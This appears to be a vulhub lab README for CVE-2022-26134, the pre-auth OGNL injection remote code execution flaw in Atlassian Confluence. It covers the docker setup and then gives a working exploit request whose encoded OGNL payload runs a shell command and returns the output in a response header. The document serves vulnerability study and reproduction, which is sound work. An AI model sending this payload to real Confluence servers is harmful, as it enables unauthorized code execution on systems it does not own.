Aaron
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49 lines
2.3 KiB
Markdown
49 lines
2.3 KiB
Markdown
# Atlassian Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
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[中文版本(Chinese version)](README.zh-cn.md)
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Confluence is a web-based corporate wiki developed by Australian software company Atlassian.
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On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.
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References:
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- <https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
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- <https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis>
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## Vulnerable Environment
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Execute following command to start a Confluence Server 7.13.6:
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```
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docker compose up -d
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```
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After the environment starts, visit ``http://your-ip:8090`` and you will see the installation guide, select "Trial installation", then you will be asked to fill in the license key. You should apply for a Confluence Server test certificate from Atlassian.
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Following [this guide](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396) to complete the installation.
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On the database configuration page, fill in the form with database address `db`, database name `confluence`, username `postgres`, password `postgres`.
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## Exploit
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Simplely send following request to execute arbitrary commands inside an craft OGNL expression and get the response:
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```
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GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
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Host: your-ip:8090
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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```
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The URL-decoded OGNL expression is `${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}`.
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